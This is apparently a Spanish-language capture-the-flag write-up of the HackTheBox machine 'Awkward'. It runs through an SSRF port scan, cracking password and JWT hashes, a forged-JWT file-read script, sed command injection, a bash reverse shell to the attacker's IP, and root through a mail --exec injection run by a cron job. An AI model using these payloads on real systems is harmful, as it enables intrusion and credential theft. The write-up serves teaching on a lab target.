Awkward - HackTheBox
Buenas! El día de hoy completaremos la máquina Awkward de HackTheBox, donde tocaremos los siguientes puntos:
- Server Side Request Forgery (SSRF)
- LFI aprovechandonos de JWT
- Port Discovery con SSRF
- Y nos aprovecharemos de una tarea cron para conseguir una shell!
Reconocimiento
Comenzaremos con el clásico escaneo de nmap
1
2
3
4
5
❯ nmap 10.10.11.185
Nmap scan report for 10.10.11.185
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Con curl nos damos cuenta que la web nos redirige al dominio hat-valley.htb
1
2
3
4
5
6
7
8
9
❯ curl 10.10.11.185
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb**'" />
</head>
<body>
</body>
</html>
Añadimos el dominio al /etc/hosts
1
echo "10.10.11.185 hat-valley.htb" | sudo tee -a /etc/hosts
Fijandonos en el código fuente nos damos cuenta de un app.js
Desde curl, y aplicando unas expresiones regulares, podemos encontrar rutas de la web
1
2
3
4
5
❯ curl -s http://hat-valley.htb/js/app.js | grep routes | sed 's/path:/\n/g' | grep '\ \\"\/' | awk '{print $2}' FS='"' | tr -d \\
/
/hr
/dashboard
/leave
Podemos ver /hr, donde hay una página de login
Siguiendo aplicando expresiones regulares en el archivo .js, encontramos más rutas para la api
1
2
3
4
5
6
❯ curl -s http://hat-valley.htb/js/app.js | sed 's/baseURL + /\n/g' | grep "return response" | awk '{print $2}' FS="'"
all-leave
submit-leave
login
staff-details
store-status
Viendo las demás rutas, no hay nada irrelevante, el directorio staff-details tiene hashes y usuarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ curl -s http://hat-valley.htb/api/staff-details | jq
[
{
"user_id": 1,
"username": "christine.wool",
"password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
"fullname": "Christine Wool",
"role": "Founder, CEO",
"phone": "0415202922"
},
{
"user_id": 2,
"username": "christopher.jones",
"password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
"fullname": "Christopher Jones",
"role": "Salesperson",
"phone": "0456980001"
},
{
"user_id": 3,
"username": "jackson.lightheart",
"password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
"fullname": "Jackson Lightheart",
"role": "Salesperson",
"phone": "0419444111"
},
{
"user_id": 4,
"username": "bean.hill",
"password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
"fullname": "Bean Hill",
"role": "System Administrator",
"phone": "0432339177"
}
]
Usando john encontramos la contraseña de christopher.jones
Explotación
1
2
3
4
5
6
7
8
9
10
11
12
❯ cat hashes
christine.wool:6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649
christopher.jones:e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
jackson.lightheart:b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436
bean.hill:37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f
❯ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes --format=Raw-SHA256
Using default input encoding: UTF-8
Will run 12 OpenMP threads
chris123 (christopher.jones)
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
Ahora usando las credenciales nos podemos loguear a /hr
En la página hay un botón refresh
, pero al darle no hace nada
Si interceptamos la petición con BurpSuite podemos ver que apunta a un recurso web con el parámetro url
Ahora nos podemos aprovechar de un SSRF para apuntar a puertos locales de la propia máquina y fuzzearlos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ wfuzz -c --hh=0 -t 200 -z range,1-10000 -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000080: 200 8 L 13 W 132 Ch "80"
000003002: 200 685 L 5834 W 77002 Ch "3002"
000008080: 200 54 L 163 W 2881 Ch "8080"
Vemos el puerto 3002, al visitarlo (por el SSRF), podemos ver la documentación de la API
Podemos ver que hace una petición a /all-leave ejecuta el comando awk
con parámetros
Nos podemos aprovechar de la variable user, para incluir archivos locales de la siguiente manera
La API ejecuta este comando
1
2
3
4
5
6
awk '/" + user + "/' /var/www/private/leave_requests.csv
Si cambiamos la cookie el usuario por `/etc/passwd` se ejecutaría el siguiente comando
```shell
awk '//' /etc/passwd ` /' /var/www/private/leave_requests.csv
Para esto necesitamos el secreto de la cookie, podemos usar jwt2john.py
1
2
3
4
5
6
❯ ./jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2ODI0OTYxfQ.jL39oYkjlbF1Cy4LWBCzgMkh_ZByJuVFicNfflHMEao > hash
❯ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
123beany123 (?)
Session completed.
En jwt.io podemos modificar la cookie cambiando el username por /etc/passwd
Nos genera la siguiente cookie, que tenemos que cambiar para hacer una petición contra /api/all-leave
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii9gIC9ldGMvcGFzc3dkIGAiLCJpYXQiOjE2NzY4MjQ5NjF9.0mTFZ_3Yyg_fnV4ZPZcneB0sh1PgNvefZPxX5jhh9_M
Se nos descarga un archivo all-leave el cual contiene el contenido del archivo seleccionado
1
2
3
4
❯ cat all-leave | grep sh$
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
Para automatizar el LFI, podemos crear este script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
import jwt, requests, sys
if len(sys.argv) < 2:
print(f"\n[\033[1;31m-\033[1;37m] Uso: python3 {sys.argv[0]} <archivo>\n")
print("[\033[1;34m*\033[1;37m] Para descargar archivos puede usar -d\n")
exit(1)
file = sys.argv[1]
def generateJWT(file: str) -> str:
payload = { "username": "/' {} '/".format(file), "iat": 1666898953 }
secret = "123beany123"
token = jwt.encode(payload, secret)
return token
token = generateJWT(file)
target = "http://hat-valley.htb/api/all-leave"
cookies = {"token":token}
request = requests.get(target, cookies=cookies)
try:
if sys.argv[2] == '-d':
with open(file.split("/")[-1].strip(),'wb') as f:
f.write(request.content)
except:
if request.text == "Failed to retrieve leave requests":
print("\n[\033[1;31m-\033[1;37m] Archivo no encontrado\n")
exit(1)
else:
print(request.text.strip())
Al ver el archivo passwd
, nos percatamos en el usuario bean, investigaremos su .bashrc
1
2
3
4
5
6
❯ python3 lfi.py /home/bean/.bashrc | grep alias | grep -vE "^\s|^$|^#"
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
if [ -f ~/.bash_aliases ]; then
Vemos un alias con una ruta a un script en bash, vamos a echarle un vistazo
1
2
3
4
5
6
7
8
9
❯ python3 lfi.py /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
En la penúltima linea encontramos un archivo tar.gz, procederemos a descargarlo con -d
1
2
3
4
❯ python3 lfi.py /home/bean/Documents/backup/bean_backup_final.tar.gz -d
❯ ls
bean_backup_final.tar.gz lfi.py
Descomprimimos un archivo y nos queda otro comprimido y un txt
1
2
3
4
❯ tar -xf bean_backup_final.tar.gz
❯ ls
bean_backup.tar.gz bean_backup_final.tar.gz time.txt lfi.py
Dentro de un archivo en .config encontramos las credenciales de bean
1
2
3
4
5
6
7
8
9
10
❯ cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
bean.hill
014mrbeanrules!#P
Nos conectamos por SSH y tenemos la primera flag
1
2
3
4
5
6
7
8
9
❯ ssh bean@10.10.11.185
bean@10.10.11.185's password: 014mrbeanrules!#P
bean@awkward:~$ id
uid=1001(bean) gid=1001(bean) groups=1001(bean)
bean@awkward:~$ hostname -I
10.10.11.185 dead:beef::250:56ff:feb9:4420
bean@awkward:~$ cat user.txt
512**************************513
bean@awkward:~$
Ahora, podemos encontrar otros subdominios
1
2
3
4
5
6
7
8
9
❯ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u hat-valley.htb -t 200
===============================================================
[+] Url: http://hat-valley.htb
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: store.hat-valley.htb (Status: 401) [Size: 188]
Al intentar entrar nos pide credenciales, por suerte la contraseña de bean funciona para admin
Leyendo archivos php en store, encontramos que ejecuta el comando sed
y unos argumentos que podemos usar para explotar ya que el item_id es algo que podemos controlar
1
2
3
bean@awkward:/var/www/store$ cat cart_actions.php | grep sed
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
bean@awkward:/var/www/store$
Para eso vamos a shop y agregamos cualquier cosa al carrito
En el directorio cart
de la web se crea un archivo que contiene los datos
1
2
3
4
5
6
bean@awkward:/var/www/store/cart$ ls
dasf-1242-412-ae41
bean@awkward:/var/www/store/cart$ cat dasf-1242-412-ae41
***Hat Valley Cart***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
bean@awkward:/var/www/store/cart$
Primero crearemos un archivo reverse.sh
en /tmp
que nos ejecute una reverse shell
1
2
3
4
5
bean@awkward:/tmp$ cat reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.143/443 0>&1
bean@awkward:/tmp$ chmod +x reverse.sh
bean@awkward:/tmp$
Necesitaremos editar el archivo que se creó, pero no tenemos permisos de escritura así que haremos una copia, lo borramos y renombraremos
1
2
3
4
bean@awkward:/var/www/store/cart$ cp dasf-1242-412-ae41 back
bean@awkward:/var/www/store/cart$ rm -f dasf-1242-412-ae41
bean@awkward:/var/www/store/cart$ cp back dasf-1242-412-ae41
bean@awkward:/var/www/store/cart$
Ahora modificamos para que el sed
nos ejecute la reverse shell
1
2
3
4
bean@awkward:/var/www/store/cart$ cat dasf-1242-412-ae41
***Hat Valley Cart***
item_id=1' -e "1e /tmp/reverse.sh" /tmp/reverse.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
bean@awkward:/var/www/store/cart
En la web vamos al carrito y eliminamos el item, pero vamos a interceptarlo con BurpSuite
Agregamos a la petición lo mismo que al archivo pero convertimos el espacio a +
Al darle a forward
, se ejecuta el script y recibimos la reverse shell
1
2
3
4
5
6
7
8
❯ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.185
www-data@awkward:~/store$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@awkward:~/store$ hostname -I
10.10.11.185 dead:beef::250:56ff:feb9:8ab1
www-data@awkward:~/store$
Escalada de Privilegios
En la ruta /var/www/private
podemos ver algo que parece ser argumentos de un mail
1
2
3
4
5
6
7
8
9
10
11
12
www-data@awkward:~/private$ cat leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
www-data@awkward:~/private$
Con PSPY podemos encontrar que el usuario root
ejecuta alguno de ellos
1
CMD: UID=0 PID=7481 | mail -s Leave Request: bean.hill christine
GTFOBins nos da una vía de ejecutar scripts o binarios con el comando mail
Aprovechando el reverse.sh
que tenemos en /tmp
agregamos una línea que lo ejecute el archivo mail
1
2
www-data@awkward:~/private$ echo '" --exec="\!/tmp/rev.sh"' >> leave_requests.csv
www-data@awkward:~/private$
Después de unos segundos podemos ver como se ejecuta y nos llega la shell como root
1
2
3
4
5
6
7
8
9
10
❯ nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.185
root@awkward:~/scripts# id
uid=0(root) gid=0(root) groups=0(root)
root@awkward:~/scripts# hostname -I
10.10.11.185 dead:beef::250:56ff:feb9:8ab1
root@awkward:~/scripts# cat /root/root.txt
f23**************************679
root@awkward:~/scripts#